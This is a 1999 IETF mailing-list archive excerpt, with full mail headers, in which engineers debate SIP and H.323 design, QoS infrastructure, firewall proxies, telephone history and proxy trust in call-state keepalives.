In-Reply-To: <3.0.3.32.19990122143531.01530df4@mail.ozemail.com.au>
References: <36A7DC53.D1CA449B@dnrc.bell-labs.com>
 <025d01be457f$98ac62b0$aec965c0@pjones.databeam.com>
 <3.0.5.32.19990121164201.0085de20@ibeam.intel.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At 02:35 PM 1/22/99 +1100, Douglas Clowes wrote:

>Let's see now, a firewall with proxies that only let through known
>protocols and check with the gatekeeper for H.323 admission. Scarey!

In H.323 you would probably use "gatekeeper routed calls" - that is, the
gatekeeper itself is the signalling proxy that only lets though known and
permitted signalling, and tells the relevant RTP firewall what to let
through. (But this is just quibbling with the words you use).

And if the signalling is SIP then you replace "gatekeeper" with "SIP proxy
server."

Although you can do it this way, unfortunately you have created -- the
phone system! That is, the RTP firewall looks a lot like a switch, because
you have to make certain that all the RTP traffic goes through that box.
The originating endpoint will never see the RTP address of the remote
endpoint, but only the address of the RTP firewall. So all of end-to-end
routing has been thrown away -- just like in the phone system.

Of course, similarly, we will need, SMTP firewalls and special DNS servers
which can give out addresses of MX machines which can do QoS email, and
other special DNS servers and HTTP firewalls which can do QoS web-browsing,
etc. etc. etc. In the end we will have overlaid 1000 different parallel
Internets on top of the current Internet. I know many people who share this
"dream". 

A better, more scaleable, goal, is to separate out the QoS infrastructure
from the needs of any particular application, and instead of having H.323
Gatekeepers, HTTP Gatekeepers, SMTP gatekeepers, etc. etc. etc., just
having an infrastructure for QoS that allows applications to seize the
required Internet resources without any reference to any particular
application.

It may end up being impossible to do, but it's the only hope that we'll get
QoS for all the Internet applications that need it.

It may well be that there is still a need for the single-application
servers, in order to enable really dumb hard-coded appliances that will not
want to deal with the QoS signalling themselves. But these servers will
need to hand-off decision-making to the real QoS infrastructure. 

Scott 


From confctrl-owner  Mon Jan 25 14:49:14 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA25907
	for confctrl-outgoing; Mon, 25 Jan 1999 14:49:14 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA25902
	for <confctrl@zephyr.isi.edu>; Mon, 25 Jan 1999 14:49:12 -0800 (PST)
Received: from renown.concentric.net (renown.concentric.net [207.155.248.7])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA00854
	for <confctrl@isi.edu>; Mon, 25 Jan 1999 14:49:11 -0800 (PST)
Received: from ts009d45.cht-ma.concentric.net (ts009d45.cht-ma.concentric.net [206.173.20.201])
	by renown.concentric.net (8.9.1a)
	id RAA00162; Mon, 25 Jan 1999 17:48:19 -0500 (EST)
	[ConcentricHost SMTP Relay]
X-Authentication-Warning: renown: ts009d45.cht-ma.concentric.net [206.173.20.201] didn't use HELO protocol
Message-Id: <4.0.1.19990125124817.00dfc270@pop3.metatel.com>
X-Sender: scott.petrack@metatel.com@pop3.metatel.com (Unverified)
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0.1 
Date: Mon, 25 Jan 1999 13:02:02 -0500
To: "Paul E. Jones" <paul.jones@ties.itu.int>,
        "Henry Sinnreich" <henry.sinnreich@mci.com>,
        "Douglas Clowes" <dclowes@ozemail.com.au>,
        "Jonathan Rosenberg" <jdrosen@dnrc.bell-labs.com>
From: Scott Petrack <scott.petrack@metatel.com>
Subject: Re: SIP
Cc: "Henning Schulzrinne" <hgs@cs.columbia.edu>, <Hanlin_Fang@3com.com>,
        "Aishling" <irelanda@tcd.ie>, <iptel@lists.research.bell-labs.com>,
        <confctrl@ISI.EDU>
In-Reply-To: <01a801be465f$e668d520$aec965c0@pjones.databeam.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At 06:34 PM 1/22/99 -0500, Paul E. Jones wrote:

>
>But even mail and web services are not without problems.  Take a web browser
>written in 1995 and visit some of today's more elaborate web sites.  Create
>an e-mail with Microsoft's Outlook Express using HTML and send it to a user
>with a mail client written in 1995 (heck, send it to a Netscape user with
>up-to-date software).
>
>It is true that most of today's mail clients can understand SMTP, POP3,
>IMAP, HTML, MIME, etc.  It is also true that most of today's web browsers
>can support HTML 4.0, CSS, GIF, JPG, PNG, WAV, AU, MPEG, RealAudio, etc.
>However, it has not been without pain on the users-- they have had to
>upgrade their software every time a new "whiz-bang" feature was added.  Be
>prepared to upgrade your web browsers again soon as XML and XSL displace
>much of HTML and CSS and MP3 becomes a new important audio format on the
>web.
>
>We cannot and should not expect our telephone system to act this way.
>

With all due respect, this is really just because we are in the absolute
infancy of "Internet Based communication". The Web is less than 6 years
old, for goodness sake, and the PSTN is well over 100 years old. I believe
that there was quite a long time in the early days of the telephone when
you needed to have 2 or more phones on your desk if you wanted to talk to
people on different networks. 

(Actually, I have been looking for a long time for a good history of the
telephone communication up till about 1900-1920. If someone can recommend
something I'd be very grateful.)

You are absolutely correct that things are still changing much too fast,
and there is too much which does not yet exist, to imagine that we are
ready for a final global solution to IP based communications. This does not
mean that we shouldn't think very hard about how to acheive that goal,
however.

I do believe that a certain number of things are more stable than others,
and I would suggest that you confine your billions to those things in the
meantime (happily enough I have just formed a dynamite new startup which
takes traveller's checks ;-)).

Scott




From confctrl-owner  Mon Jan 25 16:24:58 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id QAA00967
	for confctrl-outgoing; Mon, 25 Jan 1999 16:24:58 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id QAA00962
	for <confctrl@zephyr.isi.edu>; Mon, 25 Jan 1999 16:24:56 -0800 (PST)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id QAA12508
	for <confctrl@isi.edu>; Mon, 25 Jan 1999 16:24:55 -0800 (PST)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id TAA00139;
	Mon, 25 Jan 1999 19:24:52 -0500 (EST)
Received: from cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141])
	by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id TAA11478;
	Mon, 25 Jan 1999 19:24:51 -0500 (EST)
Message-ID: <36AD0B52.9977E7B0@cs.columbia.edu>
Date: Mon, 25 Jan 1999 19:24:50 -0500
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.5 [en] (X11; I; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Scott Petrack <scott.petrack@metatel.com>
CC: iptel@lists.research.bell-labs.com, confctrl@ISI.EDU
Subject: Re: SIP
References: <4.0.1.19990125124817.00dfc270@pop3.metatel.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Scott Petrack wrote:
> 
> At 06:34 PM 1/22/99 -0500, Paul E. Jones wrote:
> 

> 
> (Actually, I have been looking for a long time for a good history of the
> telephone communication up till about 1900-1920. If someone can recommend
> something I'd be very grateful.)

See (Costs $10 and has tons of references, plus is a pretty good read:)

@BOOK{Frie95:Natural,
AUTHOR="Amy Friedlander",
TITLE="Natural Monopoly and Universal Service: Telephones and Telegraphs
in the U.S.  Communications Infrastructure, 1837-1940",
PUBLISHER="CNRI",
ADDRESS="Washington, DC",
YEAR=1995,
KEYWORDS="telephone; telegraph; history",
ABSTRACT="This study examines the history of the telegraph and telephone
industries in the United States from the perspectives of technology,
corporate strategy, politics, and economics.  Under the aegis of the
Bell Company and its successors, the telephone followed a path similar
to that pioneered in the 1860s by the telegraph giant, Western Union.
Indeed, the telephone itself was invented in the 1870s as an
unanticipated product of efforts to solve technological limitations of
telegraphy.  Like Western Union, Bell targeted communications among
urban, commercial interests (as opposed to private residential and/or
...",
URL="http://www.cnri.reston.va.us/series.html#teltel",
ENTRYBY=Sc
}


-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Tue Jan 26 07:48:05 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA01144
	for confctrl-outgoing; Tue, 26 Jan 1999 07:48:05 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA01139
	for <confctrl@zephyr.isi.edu>; Tue, 26 Jan 1999 07:48:03 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id HAA02000
	for <confctrl@isi.edu>; Tue, 26 Jan 1999 07:48:02 -0800 (PST)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Tue Jan 26 10:47:23 EST 1999
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.1/8.9.1) with ESMTP id KAA02824;
	Tue, 26 Jan 1999 10:47:23 -0500 (EST)
Message-ID: <36ADE2FF.B8D77A10@dnrc.bell-labs.com>
Date: Tue, 26 Jan 1999 10:45:03 -0500
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: Thien Nguyen <thienpnguyen@yahoo.com>
CC: confctrl@ISI.EDU
Subject: Re: SIP: Proxy and Isomorphic requests those comes from the different hosts
References: <19981215181441.19174.rocketmail@send201.yahoomail.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I know its been a long time since this question was asked, but its an
excellent question. There's been some thinking and implementation tests
with this in preparation of a reasonable answer. I've put together a
short document that discusses the problem and the various solutions and
issues. You can find it at:

http://www.cs.columbia.edu/~jdrosen/sip/multiple_requests.txt

I'm sure there are issues and options I've missed, so please feel free
to send comments either to me or the list.

Thanks,
Jonathan R.

Thien Nguyen wrote:
> 
> Dear Authors of SIP,
> 
> What does the proxy do when it receives isomorphic requests that comes
> from different hosts.
> 
> For example: Client sends the INVITE request to forking proxy A. After
> that, A forks the request to two proxies : B1 and B2. Two proxies (B1,
> B2) forward the request to proxy C. How does the proxy C process in
> this case?
> 
>                      |----> B1  -----
>                      |               |   Assume B1 comes first.
> Client -----> A -----|               |---->  C
>                      |                       ^
>                      |                       |
>                      |----> B2 --------------|
> 
> 
> Thanks
> 
> Thien Nguyen
> Email: thienpnguyen@yahoo.com
> 
> _________________________________________________________
> DO YOU YAHOO!?
> Get your free @yahoo.com address at http://mail.yahoo.com

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Tue Jan 26 08:35:40 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA02992
	for confctrl-outgoing; Tue, 26 Jan 1999 08:35:40 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA02987
	for <confctrl@zephyr.isi.edu>; Tue, 26 Jan 1999 08:35:38 -0800 (PST)
Received: from ganymede.or.intel.com (ganymede.or.intel.com [134.134.248.3])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA05538
	for <confctrl@isi.edu>; Tue, 26 Jan 1999 08:35:36 -0800 (PST)
Received: from ideal.jf.intel.com (ideal.jf.intel.com [134.134.130.5])
	by ganymede.or.intel.com (8.9.1a+p1/8.9.1/d: relay.m4,v 1.6 1998/11/24 22:10:56 iwep Exp iwep $) with ESMTP id QAA11735;
	Tue, 26 Jan 1999 16:35:35 GMT
Received: from JTOGA-MOBL (jtoga-mobl.jf.intel.com [134.134.153.161])
          by ideal.jf.intel.com (8.9.0/8.9.0) with SMTP
	  id IAA04626; Tue, 26 Jan 1999 08:35:33 -0800 (PST)
Message-Id: <3.0.5.32.19990126083444.0084c800@orsmsx30>
X-Sender: jtoga@orsmsx30
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.5 (32)
Date: Tue, 26 Jan 1999 08:34:44 -0800
To: Scott Petrack <scott.petrack@metatel.com>,
        Douglas Clowes <dclowes@ozemail.com.au>,
        Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
From: Jim Toga <jim.toga@intel.com>
Subject: Re: SIP
Cc: "Paul E. Jones" <paul.jones@ties.itu.int>, Hanlin_Fang@3com.com,
        Aishling <irelanda@tcd.ie>, iptel@lists.research.bell-labs.com,
        confctrl@ISI.EDU
In-Reply-To: <4.0.1.19990125122746.00df9be0@pop3.metatel.com>
References: <3.0.3.32.19990122143531.01530df4@mail.ozemail.com.au>
 <36A7DC53.D1CA449B@dnrc.bell-labs.com>
 <025d01be457f$98ac62b0$aec965c0@pjones.databeam.com>
 <3.0.5.32.19990121164201.0085de20@ibeam.intel.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Scott,

A couple of quick comments...

1) The 'switch' does not live in the 'network'.  The reason for existence
(in this discussion,) I thought, was for security aspects.  The whole point
is that you _want_ to keep the addressing/direct access isolated (or at
least monitored).  If you have a completely armored protocol(s)/box then
you don't need it.  ('course try and convince any IT dept...)

2) You can certainly reserve/deliver QOS on a 'generic' IP level.  It would
seem that if you want to allocate the QOS on an application basis (so that
we get "QOS for all the applications that need it") -- somebody has to be
coordinating at this level.  If this maps into an abstraction like DIFSRV
that's fine, but it still can't be a free-for-all with reservations....
Otherwise you simply end up with WinSock2 calls to RSVP... ;-)

jiimt.



At 12:44 PM 1/25/99 -0500, Scott Petrack wrote:
>At 02:35 PM 1/22/99 +1100, Douglas Clowes wrote:
>
>>Let's see now, a firewall with proxies that only let through known
>>protocols and check with the gatekeeper for H.323 admission. Scarey!
>
>In H.323 you would probably use "gatekeeper routed calls" - that is, the
>gatekeeper itself is the signalling proxy that only lets though known and
>permitted signalling, and tells the relevant RTP firewall what to let
>through. (But this is just quibbling with the words you use).
>
>And if the signalling is SIP then you replace "gatekeeper" with "SIP proxy
>server."
>
>Although you can do it this way, unfortunately you have created -- the
>phone system! That is, the RTP firewall looks a lot like a switch, because
>you have to make certain that all the RTP traffic goes through that box.
>The originating endpoint will never see the RTP address of the remote
>endpoint, but only the address of the RTP firewall. So all of end-to-end
>routing has been thrown away -- just like in the phone system.
>
>Of course, similarly, we will need, SMTP firewalls and special DNS servers
>which can give out addresses of MX machines which can do QoS email, and
>other special DNS servers and HTTP firewalls which can do QoS web-browsing,
>etc. etc. etc. In the end we will have overlaid 1000 different parallel
>Internets on top of the current Internet. I know many people who share this
>"dream". 
>
>A better, more scaleable, goal, is to separate out the QoS infrastructure
>from the needs of any particular application, and instead of having H.323
>Gatekeepers, HTTP Gatekeepers, SMTP gatekeepers, etc. etc. etc., just
>having an infrastructure for QoS that allows applications to seize the
>required Internet resources without any reference to any particular
>application.
>
>It may end up being impossible to do, but it's the only hope that we'll get
>QoS for all the Internet applications that need it.
>
>It may well be that there is still a need for the single-application
>servers, in order to enable really dumb hard-coded appliances that will not
>want to deal with the QoS signalling themselves. But these servers will
>need to hand-off decision-making to the real QoS infrastructure. 
>
>Scott 
>

From confctrl-owner  Tue Jan 26 15:17:29 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA19099
	for confctrl-outgoing; Tue, 26 Jan 1999 15:17:29 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA19094
	for <confctrl@zephyr.isi.edu>; Tue, 26 Jan 1999 15:17:26 -0800 (PST)
Received: from fep7.mail.ozemail.net (fep7.mail.ozemail.net [203.2.192.99])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id PAA19910
	for <confctrl@isi.edu>; Tue, 26 Jan 1999 15:17:23 -0800 (PST)
Received: from dcloweslap (h166.unit21.ozemail.com.au [203.108.13.166]) by fep7.mail.ozemail.net (8.9.0/8.6.12) with SMTP id KAA12501; Wed, 27 Jan 1999 10:15:29 +1100 (EST)
Message-Id: <3.0.3.32.19990127101456.013fc220@mail.ozemail.com.au>
X-Sender: dclowes@mail.ozemail.com.au
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Wed, 27 Jan 1999 10:14:56 +1100
To: Scott Petrack <scott.petrack@metatel.com>,
        "Paul E. Jones" <paul.jones@ties.itu.int>,
        "Henry Sinnreich" <henry.sinnreich@mci.com>,
        "Jonathan Rosenberg" <jdrosen@dnrc.bell-labs.com>
From: Douglas Clowes <dclowes@ozemail.com.au>
Subject: Re: SIP
Cc: "Henning Schulzrinne" <hgs@cs.columbia.edu>, <Hanlin_Fang@3com.com>,
        "Aishling" <irelanda@tcd.ie>, <iptel@lists.research.bell-labs.com>,
        <confctrl@ISI.EDU>
In-Reply-To: <4.0.1.19990125124817.00dfc270@pop3.metatel.com>
References: <01a801be465f$e668d520$aec965c0@pjones.databeam.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At 13:02 1999-01-25 -0500, Scott Petrack wrote:
>At 06:34 PM 1/22/99 -0500, Paul E. Jones wrote:
>
>>
>>But even mail and web services are not without problems.  Take a web browser
>>written in 1995 and visit some of today's more elaborate web sites.  Create
>>an e-mail with Microsoft's Outlook Express using HTML and send it to a user
>>with a mail client written in 1995 (heck, send it to a Netscape user with
>>up-to-date software).
>>
>>It is true that most of today's mail clients can understand SMTP, POP3,
>>IMAP, HTML, MIME, etc.  It is also true that most of today's web browsers
>>can support HTML 4.0, CSS, GIF, JPG, PNG, WAV, AU, MPEG, RealAudio, etc.
>>However, it has not been without pain on the users-- they have had to
>>upgrade their software every time a new "whiz-bang" feature was added.  Be
>>prepared to upgrade your web browsers again soon as XML and XSL displace
>>much of HTML and CSS and MP3 becomes a new important audio format on the
>>web.
>>
>>We cannot and should not expect our telephone system to act this way.
>>
>
>With all due respect, this is really just because we are in the absolute
>infancy of "Internet Based communication". The Web is less than 6 years
>old, for goodness sake, and the PSTN is well over 100 years old. I believe
>that there was quite a long time in the early days of the telephone when
>you needed to have 2 or more phones on your desk if you wanted to talk to
>people on different networks. 

Hey Scott,

I used to work at a place (not that long ago) where I had those two phones
on my desk. The reason was not that they were not compatible, just that
they were not that connected. The internal phone system was a dial it
yourself one, while the external one was a lady with plugs and cords and
you asked her to dial your number for you. Amazing!

But with that antique phone system, she could still dial me on my GSM
mobile, which is about the same age as the Web. And it would work - much
better that the email system, or many parts of the web.

Try replying to
"=A0=A0=A0=A0=A0.Fred.Bloggs[mailto:fbloggs@somewhere.com.au]=20" to tell
them that you can't read their HTML crap - I mean "message". And see your
mail client "spit the dummy" yet again.

>(Actually, I have been looking for a long time for a good history of the
>telephone communication up till about 1900-1920. If someone can recommend
>something I'd be very grateful.)

Actually, I think that the "answer" to all of this organized chaos was the
CCITT, now the ITU.

>You are absolutely correct that things are still changing much too fast,
>and there is too much which does not yet exist, to imagine that we are
>ready for a final global solution to IP based communications. This does not
>mean that we shouldn't think very hard about how to acheive that goal,
>however.

A lot of people tollerate change very well. Hey, some of us actually enjoy
it - something new to play with every day. But, there is a big slice of the
consuming public out there who don't want to upgrade every Thursday. They
don't want to find out that their new IP phone can't talk to any other
phone that was built outside the window of two weeks of the date that
theirs was built. The sort of phone that these consumers are wanting to pay
for is --- an ITU phone (just like the black one, only cheaper to run).

>I do believe that a certain number of things are more stable than others,
>and I would suggest that you confine your billions to those things in the
>meantime (happily enough I have just formed a dynamite new startup which
>takes traveller's checks ;-)).

And when the market for "whiz-bang" settles down, and stabilizes, it too
will become commodity. But, there will be a minimum set of common
capabilities which will allow all of them with the compliance sticker to
interwork (as per the implementation agreement and compliance test
requirements).

Douglas

>Scott
>
>
>
>
>---------
>This message came from the IETF IPTEL Working Group Mailing List.
>
>


From confctrl-owner  Tue Jan 26 18:49:18 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id SAA26457
	for confctrl-outgoing; Tue, 26 Jan 1999 18:49:18 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id SAA26452
	for <confctrl@zephyr.isi.edu>; Tue, 26 Jan 1999 18:49:16 -0800 (PST)
Received: from ndcrelay.mcit.com (ndcrelay.mcit.com [166.37.172.49])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id SAA10517
	for <confctrl@isi.edu>; Tue, 26 Jan 1999 18:49:15 -0800 (PST)
Received: from omta2.mcit.com (omta2.mcit.com [166.37.204.3])
          by ndcrelay.mcit.com (8.8.7/) with ESMTP
	  id CAA15484; Wed, 27 Jan 1999 02:46:34 GMT
Received: from sinnreich2 ([166.44.130.195]) by omta2.mcit.com
          (InterMail v03.02.05 118 121 101) with SMTP
          id <19990127024648.ULUN5654@sinnreich2>;
          Tue, 26 Jan 1999 20:46:48 -0600
From: "Henry Sinnreich" <henry.sinnreich@mci.com>
To: "Douglas Clowes" <dclowes@ozemail.com.au>,
        "Scott Petrack" <scott.petrack@metatel.com>,
        "Paul E. Jones" <paul.jones@ties.itu.int>,
        "Jonathan Rosenberg" <jdrosen@dnrc.bell-labs.com>
Cc: "Henning Schulzrinne" <hgs@cs.columbia.edu>, <Hanlin_Fang@3com.com>,
        "Aishling" <irelanda@tcd.ie>, <iptel@lists.research.bell-labs.com>,
        <confctrl@ISI.EDU>
Subject: RE: SIP
Date: Tue, 26 Jan 1999 20:46:15 -0500
Message-ID: <NBBBIIJFOKPMFOOILMBKOEEKDIAA.henry.sinnreich@mci.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2212 (4.71.2419.0)
In-reply-to: <3.0.3.32.19990127101456.013fc220@mail.ozemail.com.au>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.0810.800
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Douglas wrote:
The sort of phone that these consumers are
> wanting to pay
> for is --- an ITU phone (just like the black one, only cheaper to run).

Why don't you just keep it and let us do IP?

Henry

> -----Original Message-----
> From: Douglas Clowes [mailto:dclowes@ozemail.com.au]
> Sent: Tuesday, January 26, 1999 6:15 PM
> To: Scott Petrack; Paul E. Jones; Henry Sinnreich; Jonathan Rosenberg
> Cc: Henning Schulzrinne; Hanlin_Fang@3com.com; Aishling;
> iptel@lists.research.bell-labs.com; confctrl@isi.edu
> Subject: Re: SIP
>
>
> At 13:02 1999-01-25 -0500, Scott Petrack wrote:
> >At 06:34 PM 1/22/99 -0500, Paul E. Jones wrote:
> >
> >>
> >>But even mail and web services are not without problems.  Take
> a web browser
> >>written in 1995 and visit some of today's more elaborate web
> sites.  Create
> >>an e-mail with Microsoft's Outlook Express using HTML and send
> it to a user
> >>with a mail client written in 1995 (heck, send it to a Netscape
> user with
> >>up-to-date software).
> >>
> >>It is true that most of today's mail clients can understand SMTP, POP3,
> >>IMAP, HTML, MIME, etc.  It is also true that most of today's
> web browsers
> >>can support HTML 4.0, CSS, GIF, JPG, PNG, WAV, AU, MPEG, RealAudio, etc.
> >>However, it has not been without pain on the users-- they have had to
> >>upgrade their software every time a new "whiz-bang" feature was
> added.  Be
> >>prepared to upgrade your web browsers again soon as XML and XSL displace
> >>much of HTML and CSS and MP3 becomes a new important audio format on the
> >>web.
> >>
> >>We cannot and should not expect our telephone system to act this way.
> >>
> >
> >With all due respect, this is really just because we are in the absolute
> >infancy of "Internet Based communication". The Web is less than 6 years
> >old, for goodness sake, and the PSTN is well over 100 years old.
> I believe
> >that there was quite a long time in the early days of the telephone when
> >you needed to have 2 or more phones on your desk if you wanted to talk to
> >people on different networks.
>
> Hey Scott,
>
> I used to work at a place (not that long ago) where I had those two phones
> on my desk. The reason was not that they were not compatible, just that
> they were not that connected. The internal phone system was a dial it
> yourself one, while the external one was a lady with plugs and cords and
> you asked her to dial your number for you. Amazing!
>
> But with that antique phone system, she could still dial me on my GSM
> mobile, which is about the same age as the Web. And it would work - much
> better that the email system, or many parts of the web.
>
> Try replying to
> "=A0=A0=A0=A0=A0.Fred.Bloggs[mailto:fbloggs@somewhere.com.au]=20" to tell
> them that you can't read their HTML crap - I mean "message". And see your
> mail client "spit the dummy" yet again.
>
> >(Actually, I have been looking for a long time for a good history of the
> >telephone communication up till about 1900-1920. If someone can recommend
> >something I'd be very grateful.)
>
> Actually, I think that the "answer" to all of this organized chaos was the
> CCITT, now the ITU.
>
> >You are absolutely correct that things are still changing much too fast,
> >and there is too much which does not yet exist, to imagine that we are
> >ready for a final global solution to IP based communications.
> This does not
> >mean that we shouldn't think very hard about how to acheive that goal,
> >however.
>
> A lot of people tollerate change very well. Hey, some of us actually enjoy
> it - something new to play with every day. But, there is a big
> slice of the
> consuming public out there who don't want to upgrade every Thursday. They
> don't want to find out that their new IP phone can't talk to any other
> phone that was built outside the window of two weeks of the date that
> theirs was built. The sort of phone that these consumers are
> wanting to pay
> for is --- an ITU phone (just like the black one, only cheaper to run).
>
> >I do believe that a certain number of things are more stable than others,
> >and I would suggest that you confine your billions to those things in the
> >meantime (happily enough I have just formed a dynamite new startup which
> >takes traveller's checks ;-)).
>
> And when the market for "whiz-bang" settles down, and stabilizes, it too
> will become commodity. But, there will be a minimum set of common
> capabilities which will allow all of them with the compliance sticker to
> interwork (as per the implementation agreement and compliance test
> requirements).
>
> Douglas
>
> >Scott
> >
> >
> >
> >
> >---------
> >This message came from the IETF IPTEL Working Group Mailing List.
> >
> >
>


From confctrl-owner  Tue Jan 26 19:58:08 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id TAA28793
	for confctrl-outgoing; Tue, 26 Jan 1999 19:58:08 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id TAA28788
	for <confctrl@zephyr.isi.edu>; Tue, 26 Jan 1999 19:58:06 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id TAA14547
	for <confctrl@isi.edu>; Tue, 26 Jan 1999 19:58:02 -0800 (PST)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Tue Jan 26 22:57:19 EST 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.249.180])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id WAA28996;
	Tue, 26 Jan 1999 22:57:17 -0500 (EST)
Message-ID: <36AE8E6B.5E3F95A4@dnrc.bell-labs.com>
Date: Tue, 26 Jan 1999 22:56:27 -0500
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: "Adam B. Roach" <Adam.Roach@ericsson.com>
CC: hgs@cs.columbia.edu, Dean.Willis@MCI.COM, confctrl@ISI.EDU
Subject: Re: Proxy Server Inconsistencies
References: <199901252153.PAA16153@b04a24.exu.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Adam B. Roach wrote:
> 
> >Seems a bit dangerous. P2 must trust P1 to give correct call state
> >information.
> 
> Reiterating the chain of proxies:
> UAx - [firewall] - P1 - P2 - ...
> 
> In this circumstance, P2 really has no choice but to trust P1 about
> the state of the call. All user agent information is being proxied
> by P1 under all circumstances. Are you considering this a security
> problem, or a cache coherency problem (e.g. P1 still beleives the call
> to be ongoing)?

I think its possibly a subtle security problem. In the above case, the
UAS is not involved. It is P2 which initiates the query. Lets say P1
lies, and tells P2 the call is no longer active. Neither the UAS nor the
UAC ever see this, and so presumably they know that the call is still
active, and there is no effect for them. The only one that suffers is
P2.

Now, consider the case where the UAC initiates the keepalive, by sending
keepalives through the chain to the UAS, and expecting a response. P1
can still "lie" by refusing to forward the keepalive. But, when it does
this, the UAC and UAS will believe that the call has terminated, and
hangup. This is bad for P1 too, so there is no real incentive to do
this. In the previous case, nothing bad happens to P1.

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Tue Jan 26 20:05:20 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id UAA29107
	for confctrl-outgoing; Tue, 26 Jan 1999 20:05:20 -0800 (PST)
